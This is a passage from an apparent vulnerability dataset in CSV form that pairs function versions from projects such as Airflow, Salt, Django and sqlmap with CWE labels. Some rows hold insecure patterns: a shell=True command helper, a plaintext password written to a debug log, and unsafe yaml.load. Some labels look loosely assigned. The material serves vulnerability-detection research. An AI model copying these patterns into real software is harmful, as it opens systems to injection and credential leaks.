            ""__type"": DagAttributeTypes.ASSET_ANY,
            ""objects"": [
                {""__type"": DagAttributeTypes.ASSET, ""extra"": {}, ""name"": ""2"", ""uri"": ""2""},
                {""__type"": DagAttributeTypes.ASSET_ANY, ""objects"": []},
                {""__type"": DagAttributeTypes.ASSET, ""extra"": {}, ""name"": ""3"", ""uri"": ""3""},
                {
                    ""__type"": DagAttributeTypes.ASSET_ALL,
                    ""objects"": [
                        {""__type"": DagAttributeTypes.ASSET_ANY, ""objects"": []},
                        {""__type"": DagAttributeTypes.ASSET, ""extra"": {}, ""name"": ""4"", ""uri"": ""4""},
                    ],
                },
            ],
        }
    }",CWE-703,apache/airflow,de15523d7c709184c9042b1854dcadeb6d8e2e3e,"def test_serialize_timetable():
    from airflow.providers.common.compat.assets import AssetAlias, AssetAll, AssetAny
    from airflow.timetables.simple import AssetTriggeredTimetable

    asset = AssetAny(
        Asset(""2""),
        AssetAlias(""example-alias""),
        Asset(""3""),
        AssetAll(AssetAlias(""this-should-not-be-seen""), Asset(""4"")),
    )
    dag = MagicMock()
    dag.timetable = AssetTriggeredTimetable(asset)
    dag_info = DagInfo(dag)

    assert dag_info.timetable == {
        ""asset_condition"": {
            ""__type"": DagAttributeTypes.ASSET_ANY,
            ""objects"": [
                {""__type"": DagAttributeTypes.ASSET, ""extra"": {}, ""uri"": ""2""},
                {""__type"": DagAttributeTypes.ASSET_ANY, ""objects"": []},
                {""__type"": DagAttributeTypes.ASSET, ""extra"": {}, ""uri"": ""3""},
                {
                    ""__type"": DagAttributeTypes.ASSET_ALL,
                    ""objects"": [
                        {""__type"": DagAttributeTypes.ASSET_ANY, ""objects"": []},
                        {""__type"": DagAttributeTypes.ASSET, ""extra"": {}, ""uri"": ""4""},
                    ],
                },
            ],
        }
    }"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/pytorch/test_pytorch_autolog.py,0,"def validation_step(self, batch, batch_idx):
            super().validation_step(batch, batch_idx)
            if self.current_epoch == 0:
                self.log(""custom_metric"", 0.8)
            elif self.current_epoch == 1:
                self.log(""custom_metric"", 0.9)
            elif self.current_epoch == 2:
                self.log(""custom_metric"", 0.85)  # better than the previous epoch, but not the best
            else:
                self.log(""custom_metric"", 0.7)",,mlflow/mlflow,99a1aa368895718698ba089bd40cc25e8a9f9075,"def validation_step(self, batch, batch_idx):
            super().validation_step(batch, batch_idx)
            if self.current_epoch == 0:
                self.log(""custom_metric"", 0.8)
            elif self.current_epoch == 1:
                self.log(""custom_metric"", 0.9)
            else:
                self.log(""custom_metric"", 0.7)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/notebookapp.py,0,"def list_running_servers(profile='default'):
    """"""Iterate over the server info files of running notebook servers.
    
    Given a profile name, find nbserver-* files in the security directory of
    that profile, and yield dicts of their information, each one pertaining to
    a currently running notebook server instance.
    """"""
    pd = ProfileDir.find_profile_dir_by_name(get_ipython_dir(), name=profile)
    for file in os.listdir(pd.security_dir):
        if file.startswith('nbserver-'):
            with io.open(os.path.join(pd.security_dir, file), encoding='utf-8') as f:
                info = json.load(f)

            # Simple check whether that process is really still running
            # Also remove leftover files from IPython 2.x without a pid field
            if ('pid' in info) and check_pid(info['pid']):
                yield info
            else:
                # If the process has died, try to delete its info file
                try:
                    os.unlink(file)
                except OSError:
                    pass",,jupyter/notebook,11f089aedb0704b3e272a2baef162ddc62d9c08f,"def list_running_servers(profile='default'):
    """"""Iterate over the server info files of running notebook servers.
    
    Given a profile name, find nbserver-* files in the security directory of
    that profile, and yield dicts of their information, each one pertaining to
    a currently running notebook server instance.
    """"""
    pd = ProfileDir.find_profile_dir_by_name(get_ipython_dir(), name=profile)
    for file in os.listdir(pd.security_dir):
        if file.startswith('nbserver-'):
            with io.open(os.path.join(pd.security_dir, file), encoding='utf-8') as f:
                info = json.load(f)

            # Simple check whether that process is really still running
            if check_pid(info['pid']):
                yield info
            else:
                # If the process has died, try to delete its info file
                try:
                    os.unlink(file)
                except OSError:
                    pass"
,UNKNOWN,UNKNOWN,tests/pytests/unit/utils/scheduler/test_skip.py,1,"def test_skip_during_range_invalid_datestring(schedule):
    """"""
    verify that scheduled job is not not and returns the right error string
    """"""
    run_time = dateutil.parser.parse(""11/29/2017 2:30pm"")

    job_name1 = ""skip_during_range_invalid_datestring1""
    job1 = {
        ""schedule"": {
            job_name1: {
                ""function"": ""test.ping"",
                ""hours"": ""1"",
                ""_next_fire_time"": run_time,
                ""skip_during_range"": {""start"": ""25pm"", ""end"": ""3pm""},
            }
        }
    }

    job_name2 = ""skip_during_range_invalid_datestring2""
    job2 = {
        ""schedule"": {
            job_name2: {
                ""function"": ""test.ping"",
                ""hours"": ""1"",
                ""_next_fire_time"": run_time,
                ""skip_during_range"": {""start"": ""2pm"", ""end"": ""25pm""},
            }
        }
    }

    # Add job1 to schedule
    schedule.opts.update(job1)

    # Eval
    schedule.eval(now=run_time)

    # Check the first job
    ret = schedule.job_status(job_name1)
    _expected = (
        ""Invalid date string for start in skip_during_range. Ignoring job {}.""
    ).format(job_name1)
    assert ret[""_error""] == _expected

    # Clear out schedule
    schedule.opts[""schedule""] = {}

    # Add job2 to schedule
    schedule.opts.update(job2)

    # Eval
    schedule.eval(now=run_time)

    # Check the second job
    ret = schedule.job_status(job_name2)
    _expected = (
        ""Invalid date string for end in skip_during_range. Ignoring job {}.""
    ).format(job_name2)
    assert ret[""_error""] == _expected","CWE-94, CWE-703",saltstack/salt,8abdd659087504a45cf0d720c018c6ac28b3937f,"def test_skip_during_range_invalid_datestring(schedule):
    """"""
    verify that scheduled job is not not and returns the right error string
    """"""
    run_time = dateutil.parser.parse(""11/29/2017 2:30pm"")

    job_name1 = ""skip_during_range_invalid_datestring1""
    job1 = {
        ""schedule"": {
            job_name1: {
                ""function"": ""test.ping"",
                ""hours"": ""1"",
                ""_next_fire_time"": run_time,
                ""skip_during_range"": {""start"": ""25pm"", ""end"": ""3pm""},
            }
        }
    }

    job_name2 = ""skip_during_range_invalid_datestring2""
    job2 = {
        ""schedule"": {
            job_name2: {
                ""function"": ""test.ping"",
                ""hours"": ""1"",
                ""_next_fire_time"": run_time,
                ""skip_during_range"": {""start"": ""2pm"", ""end"": ""25pm""},
            }
        }
    }

    # Add job1 to schedule
    schedule.opts.update(job1)

    # Eval
    schedule.eval(now=run_time)

    # Check the first job
    ret = schedule.job_status(job_name1)
    _expected = (
        ""Invalid date string for start in "" ""skip_during_range. Ignoring "" ""job {}.""
    ).format(job_name1)
    assert ret[""_error""] == _expected

    # Clear out schedule
    schedule.opts[""schedule""] = {}

    # Add job2 to schedule
    schedule.opts.update(job2)

    # Eval
    schedule.eval(now=run_time)

    # Check the second job
    ret = schedule.job_status(job_name2)
    _expected = (
        ""Invalid date string for end in "" ""skip_during_range. Ignoring "" ""job {}.""
    ).format(job_name2)
    assert ret[""_error""] == _expected"
functions_for_django_with_cwe.csv,CVE-2021-45116,UNKNOWN,tests/template_tests/filter_tests/test_dictsortreversed.py,0,"def test_invalid_values(self):
        """"""
        If dictsortreversed is passed something other than a list of
        dictionaries, fail silently.
        """"""
        self.assertEqual(dictsortreversed([1, 2, 3], 'age'), '')
        self.assertEqual(dictsortreversed('Hello!', 'age'), '')
        self.assertEqual(dictsortreversed({'a': 1}, 'age'), '')
        self.assertEqual(dictsortreversed(1, 'age'), '')",CWE-Unknown,django/django,c9f648ccfac5ab90fb2829a66da4f77e68c7f93a,"def test_invalid_values(self):
        """"""
        If dictsortreversed is passed something other than a list of
        dictionaries, fail silently.
        """"""
        self.assertEqual(dictsortreversed([1, 2, 3], 'age'), '')
        self.assertEqual(dictsortreversed('Hello!', 'age'), '')
        self.assertEqual(dictsortreversed({'a': 1}, 'age'), '')
        self.assertEqual(dictsortreversed(1, 'age'), '')"
,UNKNOWN,UNKNOWN,tests/projects/test_projects.py,1,"def test_get_work_dir():
    """""" Test that we correctly determine the working directory to use when running a project. """"""
    for use_temp_cwd, uri in [(True, TEST_PROJECT_DIR), (False, GIT_PROJECT_URI)]:
        work_dir = mlflow.projects._get_work_dir(uri=uri, use_temp_cwd=use_temp_cwd)
        assert work_dir != uri
        assert os.path.exists(work_dir)
    for use_temp_cwd, uri in [(None, TEST_PROJECT_DIR), (False, TEST_PROJECT_DIR)]:
        assert mlflow.projects._get_work_dir(uri=uri, use_temp_cwd=use_temp_cwd) ==\
               os.path.abspath(TEST_PROJECT_DIR)",CWE-703,mlflow/mlflow,e24e605b1092b213ae5a88d407d3e014772f80c4,"def test_get_work_dir():
    """""" Test that we correctly determine the working directory to use when running a project. """"""
    for use_temp_cwd, uri in [(True, TEST_PROJECT_DIR), (False, GIT_PROJECT_URI)]:
        work_dir = mlflow.projects._get_work_dir(uri=uri, use_temp_cwd=use_temp_cwd)
        assert work_dir != uri
        assert os.path.exists(work_dir)
    for use_temp_cwd, uri in [(None, TEST_PROJECT_DIR), (False, TEST_PROJECT_DIR)]:
        assert mlflow.projects._get_work_dir(uri=uri, use_temp_cwd=use_temp_cwd) == TEST_PROJECT_DIR"
,UNKNOWN,UNKNOWN,helm_tests/airflow_core/test_triggerer.py,1,"def test_should_add_component_specific_annotations(self):
        docs = render_chart(
            values={
                ""triggerer"": {
                    ""annotations"": {""test_annotation"": ""test_annotation_value""},
                },
            },
            show_only=[""templates/triggerer/triggerer-deployment.yaml""],
        )
        assert ""annotations"" in jmespath.search(""metadata"", docs[0])
        assert jmespath.search(""metadata.annotations"", docs[0])[""test_annotation""] == ""test_annotation_value""",CWE-703,apache/airflow,dc74d3327e6aed105b7aa7f08a79ee6341543747,"def test_should_add_component_specific_annotations(self):
        docs = render_chart(
            values={
                ""triggerer"": {
                    ""annotations"": {""test_annotation"": ""test_annotation_value""},
                },
            },
            show_only=[""templates/triggerer/triggerer-deployment.yaml""],
        )
        assert ""annotations"" in jmespath.search(""metadata"", docs[0])
        assert jmespath.search(""metadata.annotations"", docs[0])[""test_annotation""] == ""test_annotation_value"""
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/core/management/commands/inspectdb.py,0,"def get_field_type(self, connection, table_name, row):
        """"""
        Given the database connection, the table name, and the cursor row
        description, this routine will return the given field type name, as
        well as any additional keyword parameters and notes for the field.
        """"""
        field_params = {}
        field_notes = []

        try:
            field_type = connection.introspection.get_field_type(row.type_code, row)
        except KeyError:
            field_type = 'TextField'
            field_notes.append('This field type is a guess.')

        # Add max_length for all CharFields.
        if field_type == 'CharField' and row.internal_size:
            field_params['max_length'] = int(row.internal_size)

        if field_type in {'CharField', 'TextField'} and row.collation:
            field_params['db_collation'] = row.collation

        if field_type == 'DecimalField':
            if row.precision is None or row.scale is None:
                field_notes.append(
                    'max_digits and decimal_places have been guessed, as this '
                    'database handles decimal fields as float')
                field_params['max_digits'] = row.precision if row.precision is not None else 10
                field_params['decimal_places'] = row.scale if row.scale is not None else 5
            else:
                field_params['max_digits'] = row.precision
                field_params['decimal_places'] = row.scale

        return field_type, field_params, field_notes",CWE-Unknown,django/django,e387f191f76777015b6ea687ce83cdb05ee47cee,"def get_field_type(self, connection, table_name, row):
        """"""
        Given the database connection, the table name, and the cursor row
        description, this routine will return the given field type name, as
        well as any additional keyword parameters and notes for the field.
        """"""
        field_params = {}
        field_notes = []

        try:
            field_type = connection.introspection.get_field_type(row.type_code, row)
        except KeyError:
            field_type = 'TextField'
            field_notes.append('This field type is a guess.')

        # Add max_length for all CharFields.
        if field_type == 'CharField' and row.internal_size:
            field_params['max_length'] = int(row.internal_size)

        if field_type == 'DecimalField':
            if row.precision is None or row.scale is None:
                field_notes.append(
                    'max_digits and decimal_places have been guessed, as this '
                    'database handles decimal fields as float')
                field_params['max_digits'] = row.precision if row.precision is not None else 10
                field_params['decimal_places'] = row.scale if row.scale is not None else 5
            else:
                field_params['max_digits'] = row.precision
                field_params['decimal_places'] = row.scale

        return field_type, field_params, field_notes"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,src/flask/helpers.py,0,"def get_root_path(import_name: str) -> str:
    """"""Find the root path of a package, or the path that contains a
    module. If it cannot be found, returns the current working
    directory.

    Not to be confused with the value returned by :func:`find_package`.

    :meta private:
    """"""
    # Module already imported and has a file attribute. Use that first.
    mod = sys.modules.get(import_name)

    if mod is not None and hasattr(mod, ""__file__"") and mod.__file__ is not None:
        return os.path.dirname(os.path.abspath(mod.__file__))

    # Next attempt: check the loader.
    try:
        spec = importlib.util.find_spec(import_name)

        if spec is None:
            raise ValueError
    except (ImportError, ValueError):
        loader = None
    else:
        loader = spec.loader

    # Loader does not exist or we're referring to an unloaded main
    # module or a main module without path (interactive sessions), go
    # with the current working directory.
    if loader is None:
        return os.getcwd()

    if hasattr(loader, ""get_filename""):
        filepath = loader.get_filename(import_name)  # pyright: ignore
    else:
        # Fall back to imports.
        __import__(import_name)
        mod = sys.modules[import_name]
        filepath = getattr(mod, ""__file__"", None)

        # If we don't have a file path it might be because it is a
        # namespace package. In this case pick the root path from the
        # first module that is contained in the package.
        if filepath is None:
            raise RuntimeError(
                ""No root path can be found for the provided module""
                f"" {import_name!r}. This can happen because the module""
                "" came from an import hook that does not provide file""
                "" name information or because it's a namespace package.""
                "" In this case the root path needs to be explicitly""
                "" provided.""
            )

    # filepath is import_name.py for a module, or __init__.py for a package.
    return os.path.dirname(os.path.abspath(filepath))",,pallets/flask,e8b91cd38aadafdf733558bbcea4810fa65bb849,"def get_root_path(import_name: str) -> str:
    """"""Find the root path of a package, or the path that contains a
    module. If it cannot be found, returns the current working
    directory.

    Not to be confused with the value returned by :func:`find_package`.

    :meta private:
    """"""
    # Module already imported and has a file attribute. Use that first.
    mod = sys.modules.get(import_name)

    if mod is not None and hasattr(mod, ""__file__"") and mod.__file__ is not None:
        return os.path.dirname(os.path.abspath(mod.__file__))

    # Next attempt: check the loader.
    try:
        spec = importlib.util.find_spec(import_name)

        if spec is None:
            raise ValueError
    except (ImportError, ValueError):
        loader = None
    else:
        loader = spec.loader

    # Loader does not exist or we're referring to an unloaded main
    # module or a main module without path (interactive sessions), go
    # with the current working directory.
    if loader is None:
        return os.getcwd()

    if hasattr(loader, ""get_filename""):
        filepath = loader.get_filename(import_name)
    else:
        # Fall back to imports.
        __import__(import_name)
        mod = sys.modules[import_name]
        filepath = getattr(mod, ""__file__"", None)

        # If we don't have a file path it might be because it is a
        # namespace package. In this case pick the root path from the
        # first module that is contained in the package.
        if filepath is None:
            raise RuntimeError(
                ""No root path can be found for the provided module""
                f"" {import_name!r}. This can happen because the module""
                "" came from an import hook that does not provide file""
                "" name information or because it's a namespace package.""
                "" In this case the root path needs to be explicitly""
                "" provided.""
            )

    # filepath is import_name.py for a module, or __init__.py for a package.
    return os.path.dirname(os.path.abspath(filepath))"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/jstest.py,0,"def run(self):
        self.started = True

        while not self.stop.is_set():
            chunk = os.read(self.readfd, 1024)

            with self.buffer_lock:
                self.buffer.write(chunk)
            if self.echo:
                sys.stdout.write(bytes_to_str(chunk))

        os.close(self.readfd)
        os.close(self.writefd)",,jupyter/notebook,4ba07e130f3c0df31b878af99a9b3e8123b69948,"def run(self):
        self.started = True

        while not self.stop.is_set():
            chunk = os.read(self.readfd, 1024)

            with self.buffer_lock:
                self.buffer.write(chunk)
            if self.echo:
                sys.stdout.write(bytes_to_str(chunk))
    
        os.close(self.readfd)
        os.close(self.writefd)"
,UNKNOWN,UNKNOWN,lib/core/common.py,1,"def shellExec(cmd):
    """"""
    Executes arbitrary shell command

    >>> shellExec('echo 1').strip() == '1'
    True
    """"""

    retVal = """"

    try:
        retVal = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).communicate()[0] or """"
    except Exception as ex:
        retVal = getSafeExString(ex)
    finally:
        retVal = getText(retVal)

    return retVal",CWE-78,sqlmapproject/sqlmap,10be8a12bdfc4baeecf6bf55401b70e2489f0887,"def shellExec(cmd):
    """"""
    Executes arbitrary shell command

    >>> shellExec('echo 1').strip() == b'1'
    True
    """"""

    try:
        return subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).communicate()[0] or """"
    except Exception as ex:
        return six.text_type(ex)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/mac_softwareupdate.py,0,"def reset_catalog():
    '''
    .. versionadded:: 2016.3.0

    Reset the Software Update Catalog to the default.

    :return: True if successful, False if not
    :rtype: bool

    CLI Example:

    .. code-block:: bash

        salt '*' softwareupdates.reset_catalog
    '''
    # This command always returns an error code, though it completes
    # successfully. Success will be determined by making sure get_catalog
    # returns 'Default'
    cmd = ['softwareupdate', '--clear-catalog']

    try:
        salt.utils.mac_utils.execute_return_success(cmd)
    except CommandExecutionError as exc:
        pass

    return get_catalog() == 'Default'",,saltstack/salt,4be9e3606155ab2ceaf6d251457e0d40f28d2162,"def reset_catalog():
    '''
    .. versionadded:: 2016.3.0

    Reset the Software Update Catalog to the default.

    :return: True if successful, False if not
    :rtype: bool

    CLI Example:

    .. code-block:: bash

        salt '*' softwareupdates.reset_catalog
    '''
    # This command always returns an error code, though it completes
    # successfully. So no try/except block. Success will be determined by
    # making sure get_catalog returns 'Default'
    cmd = ['softwareupdate', '--clear-catalog']
    salt.utils.mac_utils.execute_return_success(cmd)
    return get_catalog() == 'Default'"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/template_tests/test_autoreloader.py,0,"def test_reset_all_loaders(self, mock_reset):
        autoreload.reset_loaders()
        self.assertEqual(mock_reset.call_count, 2)",CWE-Unknown,django/django,78e553b48a728ba68b427a8108e1247e5bb46048,"def test_reset_all_loaders(self, mock_reset):
        autoreload.reset_loaders()
        self.assertEqual(mock_reset.call_count, 2)"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,requests/models.py,0,"def prepare_body(self, data, files, json=None):
        """"""Prepares the given HTTP body data.""""""

        # Check if file, fo, generator, iterator.
        # If not, run through normal process.

        # Nottin' on you.
        body = None
        content_type = None
        length = None

        if data == {} and json is not None:
            content_type = 'application/json'
            body = complexjson.dumps(json)

        is_stream = all([
            hasattr(data, '__iter__'),
            not isinstance(data, (basestring, list, tuple, dict))
        ])

        try:
            length = super_len(data)
        except (TypeError, AttributeError, UnsupportedOperation):
            length = None

        if is_stream:
            body = data

            if files:
                raise NotImplementedError('Streamed bodies and files are mutually exclusive.')

            if length is not None:
                self.headers['Content-Length'] = builtin_str(length)
            else:
                self.headers['Transfer-Encoding'] = 'chunked'
        else:
            # Multi-part file uploads.
            if files:
                (body, content_type) = self._encode_files(files, data)
            else:
                if data:
                    body = self._encode_params(data)
                    if isinstance(data, basestring) or hasattr(data, 'read'):
                        content_type = None
                    else:
                        content_type = 'application/x-www-form-urlencoded'

            self.prepare_content_length(body)

            # Add content-type if it wasn't explicitly provided.
            if content_type and ('content-type' not in self.headers):
                self.headers['Content-Type'] = content_type

        self.body = body",,psf/requests,f6afa71281c7df41aa940a7dd6b5100711200162,"def prepare_body(self, data, files, json=None):
        """"""Prepares the given HTTP body data.""""""

        # Check if file, fo, generator, iterator.
        # If not, run through normal process.

        # Nottin' on you.
        body = None
        content_type = None
        length = None

        if json is not None:
            content_type = 'application/json'
            body = complexjson.dumps(json)

        is_stream = all([
            hasattr(data, '__iter__'),
            not isinstance(data, (basestring, list, tuple, dict))
        ])

        try:
            length = super_len(data)
        except (TypeError, AttributeError, UnsupportedOperation):
            length = None

        if is_stream:
            body = data

            if files:
                raise NotImplementedError('Streamed bodies and files are mutually exclusive.')

            if length is not None:
                self.headers['Content-Length'] = builtin_str(length)
            else:
                self.headers['Transfer-Encoding'] = 'chunked'
        else:
            # Multi-part file uploads.
            if files:
                (body, content_type) = self._encode_files(files, data)
            else:
                if data and json is None:
                    body = self._encode_params(data)
                    if isinstance(data, basestring) or hasattr(data, 'read'):
                        content_type = None
                    else:
                        content_type = 'application/x-www-form-urlencoded'

            self.prepare_content_length(body)

            # Add content-type if it wasn't explicitly provided.
            if content_type and ('content-type' not in self.headers):
                self.headers['Content-Type'] = content_type

        self.body = body"
,UNKNOWN,UNKNOWN,saltcloud/utils/__init__.py,1,"def deploy_script(host, port=22, timeout=900, username='root',
                  password=None, key_filename=None, script=None,
                  deploy_command='/tmp/deploy.sh', sudo=False, tty=None,
                  name=None, pub_key=None, sock_dir=None, provider=None,
                  conf_file=None, start_action=None, make_master=False,
                  master_pub=None, master_pem=None, master_conf=None,
                  minion_pub=None, minion_pem=None, minion_conf=None,
                  keep_tmp=False, script_args=None, script_env=None,
                  ssh_timeout=15, make_syndic=False, make_minion=True,
                  display_ssh_output=True, preseed_minion_keys=None):
    '''
    Copy a deploy script to a remote server, execute it, and remove it
    '''
    if key_filename is not None and not os.path.isfile(key_filename):
        raise SaltCloudConfigError(
            'The defined key_filename {0!r} does not exist'.format(
                key_filename
            )
        )
    starttime = time.mktime(time.localtime())
    log.debug('Deploying {0} at {1}'.format(host, starttime))
    if wait_for_ssh(host=host, port=port, timeout=timeout):
        log.debug('SSH port {0} on {1} is available'.format(port, host))
        newtimeout = timeout - (time.mktime(time.localtime()) - starttime)
        if wait_for_passwd(host, port=port, username=username,
                           password=password, key_filename=key_filename,
                           ssh_timeout=ssh_timeout,
                           display_ssh_output=display_ssh_output):
            log.debug(
                'Logging into {0}:{1} as {2}'.format(
                    host, port, username
                )
            )
            newtimeout = timeout - (time.mktime(time.localtime()) - starttime)
            kwargs = {'hostname': host,
                      'port': port,
                      'username': username,
                      'timeout': ssh_timeout,
                      'display_ssh_output': display_ssh_output}
            if key_filename:
                log.debug('Using {0} as the key_filename'.format(key_filename))
                kwargs['key_filename'] = key_filename
            elif password:
                log.debug('Using {0} as the password'.format(password))
                kwargs['password'] = password

            #FIXME: this try-except doesn't make sense! Something is missing...
            try:
                log.debug('SSH connection to {0} successful'.format(host))
            except Exception as exc:
                log.error(
                    'There was an error in deploy_script: {0}'.format(exc)
                )

            if provider == 'ibmsce':
                subsys_command = (
                    'sed -i ""s/#Subsystem/Subsystem/"" '
                    '/etc/ssh/sshd_config'
                )
                root_cmd(subsys_command, tty, sudo, **kwargs)
                root_cmd('service sshd restart', tty, sudo, **kwargs)

            # Minion configuration
            if minion_pem:
                scp_file('/tmp/minion.pem', minion_pem, kwargs)
                root_cmd('chmod 600 /tmp/minion.pem', tty, sudo, **kwargs)

            if minion_pub:
                scp_file('/tmp/minion.pub', minion_pub, kwargs)

            if minion_conf:
                if not isinstance(minion_conf, dict):
                    # Let's not just fail regarding this change, specially
                    # since we can handle it
                    raise DeprecationWarning(
                        '`saltcloud.utils.deploy_script now only accepts '
                        'dictionaries for it\'s `minion_conf` parameter. '
                        'Loading YAML...'
                    )
                    minion_conf = yaml.load(minion_conf)
                minion_grains = minion_conf.pop('grains', {})
                if minion_grains:
                    scp_file(
                        '/tmp/grains',
                        salt_config_to_yaml(minion_grains),
                        kwargs
                    )
                scp_file(
                    '/tmp/minion',
                    salt_config_to_yaml(minion_conf),
                    kwargs
                )

            # Master configuration
            if master_pem:
                scp_file('/tmp/master.pem', master_pem, kwargs)
                root_cmd('chmod 600 /tmp/master.pem', tty, sudo, **kwargs)

            if master_pub:
                scp_file('/tmp/master.pub', master_pub, kwargs)

            if master_conf:
                if not isinstance(master_conf, dict):
                    # Let's not just fail regarding this change, specially
                    # since we can handle it
                    raise DeprecationWarning(
                        '`saltcloud.utils.deploy_script now only accepts '
                        'dictionaries for it\'s `master_conf` parameter. '
                        'Loading from YAML ...'
                    )
                    master_conf = yaml.load(master_conf)

                scp_file(
                    '/tmp/master',
                    salt_config_to_yaml(master_conf),
                    kwargs
                )

            # XXX: We need to make these paths configurable
            preseed_minion_keys_tempdir = '/tmp/preseed-minion-keys'
            if preseed_minion_keys is not None:
                # Create remote temp dir
                root_cmd(
                    'mkdir ""{0}""'.format(preseed_minion_keys_tempdir),
                    tty, sudo, **kwargs
                )
                root_cmd(
                    'chmod 700 ""{0}""'.format(preseed_minion_keys_tempdir),
                    tty, sudo, **kwargs
                )
                if kwargs['username'] != 'root':
                    root_cmd(
                        'chown {0} ""{1}""'.format(
                            kwargs['username'], preseed_minion_keys_tempdir
                        ),
                        tty, sudo, **kwargs
                    )

                # Copy pre-seed minion keys
                for minion_id, minion_key in preseed_minion_keys.iteritems():
                    rpath = os.path.join(
                        preseed_minion_keys_tempdir, minion_id
                    )
                    scp_file(rpath, minion_key, kwargs)

                if kwargs['username'] != 'root':
                    root_cmd(
                        'chown -R root ""{0}""'.format(
                            preseed_minion_keys_tempdir
                        ),
                        tty, sudo, **kwargs
                    )

            # The actual deploy script
            if script:
                scp_file('/tmp/deploy.sh', script, kwargs)
                root_cmd('chmod +x /tmp/deploy.sh', tty, sudo, **kwargs)

            newtimeout = timeout - (time.mktime(time.localtime()) - starttime)
            queue = None
            process = None
            # Consider this code experimental. It causes Salt Cloud to wait
            # for the minion to check in, and then fire a startup event.
            if start_action:
                queue = multiprocessing.Queue()
                process = multiprocessing.Process(
                    target=check_auth, kwargs=dict(
                        name=name, pub_key=pub_key, sock_dir=sock_dir,
                        timeout=newtimeout, queue=queue
                    )
                )
                log.debug('Starting new process to wait for salt-minion')
                process.start()

            # Run the deploy script
            if script:
                if 'bootstrap-salt' in script:
                    deploy_command += ' -c /tmp/'
                    if make_syndic is True:
                        deploy_command += ' -S'
                    if make_master is True:
                        deploy_command += ' -M'
                    if make_minion is False:
                        deploy_command += ' -N'
                    if preseed_minion_keys is not None:
                        deploy_command += ' -k {0}'.format(
                            preseed_minion_keys_tempdir
                        )
                if script_args:
                    deploy_command += ' {0}'.format(script_args)

                if keep_tmp:
                    # Pass the proper environment variable to the bootstrap
                    # script to keep temporary files around
                    if not script_env:
                        script_env = {'BS_KEEP_TEMP_FILES': '1'}
                    else:
                        script_env['BS_KEEP_TEMP_FILES'] = '1'

                if script_env:
                    if not isinstance(script_env, dict):
                        raise SaltCloudSystemExit(
                            'The \'script_env\' configuration setting NEEDS '
                            'to be a dictionary not a {0}'.format(
                                type(script_env)
                            )
                        )
                    environ_script_contents = ['#!/bin/sh']
                    for key, value in script_env.iteritems():
                        environ_script_contents.append(
                            'setenv {0} \'{1}\' >/dev/null 2>&1 || '
                            'export {0}=\'{1}\''.format(key, value)
                        )
                    environ_script_contents.append(deploy_command)

                    # Upload our environ setter wrapper
                    scp_file(
                        '/tmp/environ-deploy-wrapper.sh',
                        '\n'.join(environ_script_contents),
                        kwargs
                    )
                    root_cmd(
                        'chmod +x /tmp/environ-deploy-wrapper.sh',
                        tty, sudo, **kwargs
                    )
                    # The deploy command is now our wrapper
                    deploy_command = '/tmp/environ-deploy-wrapper.sh'

                if root_cmd(deploy_command, tty, sudo, **kwargs) != 0:
                    raise SaltCloudSystemExit(
                        'Executing the command {0!r} failed'.format(
                            deploy_command
                        )
                    )
                log.debug('Executed command {0!r}'.format(deploy_command))

                # Remove the deploy script
                if not keep_tmp:
                    root_cmd('rm /tmp/deploy.sh', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/deploy.sh')
                    if script_env:
                        root_cmd(
                            'rm /tmp/environ-deploy-wrapper.sh',
                            tty, sudo, **kwargs
                        )
                        log.debug('Removed /tmp/environ-deploy-wrapper.sh')

            if keep_tmp:
                log.debug('Not removing deployment files from /tmp/')

            # Remove minion configuration
            if not keep_tmp:
                if minion_pub:
                    root_cmd('rm /tmp/minion.pub', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/minion.pub')
                if minion_pem:
                    root_cmd('rm /tmp/minion.pem', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/minion.pem')
                if minion_conf:
                    root_cmd('rm /tmp/grains', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/grains')
                    root_cmd('rm /tmp/minion', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/minion')

                # Remove master configuration
                if master_pub:
                    root_cmd('rm /tmp/master.pub', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/master.pub')
                if master_pem:
                    root_cmd('rm /tmp/master.pem', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/master.pem')
                if master_conf:
                    root_cmd('rm /tmp/master', tty, sudo, **kwargs)
                    log.debug('Removed /tmp/master')

                # Remove pre-seed keys directory
                if preseed_minion_keys is not None:
                    root_cmd(
                        'rm -rf {0}'.format(
                            preseed_minion_keys_tempdir
                        ), tty, sudo, **kwargs
                    )
                    log.debug(
                        'Removed {0}'.format(preseed_minion_keys_tempdir)
                    )

            if start_action:
                queuereturn = queue.get()
                process.join()
                if queuereturn and start_action:
                    #client = salt.client.LocalClient(conf_file)
                    #output = client.cmd_iter(
                    #    host, 'state.highstate', timeout=timeout
                    #)
                    #for line in output:
                    #    print(line)
                    log.info(
                        'Executing {0} on the salt-minion'.format(
                            start_action
                        )
                    )
                    root_cmd(
                        'salt-call {0}'.format(start_action),
                        tty, sudo, **kwargs
                    )
                    log.info(
                        'Finished executing {0} on the salt-minion'.format(
                            start_action
                        )
                    )
            #Fire deploy action
            event = salt.utils.event.SaltEvent(
                'master',
                sock_dir
            )
            event.fire_event(
                '{0} has been created at {1}'.format(name, host), 'salt-cloud'
            )
            return True
    return False",CWE-20,saltstack/salt,4ac4b447cd9f0e95b997a2395d5c60ce03793cec,"def deploy_script(host, port=22, timeout=900, username='root',
                  password=None, key_filename=None, script=None,
                  deploy_command='/tmp/deploy.sh', sudo=False, tty=None,
                  name=None, pub_key=None, sock_dir=None, provider=None,
                  conf_file=None, start_action=None, make_master=False,
                  master_pub=None, master_pem=None, master_conf=None,
                  minion_pub=None, minion_pem=None, minion_conf=None,
                  keep_tmp=False, script_args=None, script_env=None,
                  ssh_timeout=15, make_syndic=False, make_minion=True,
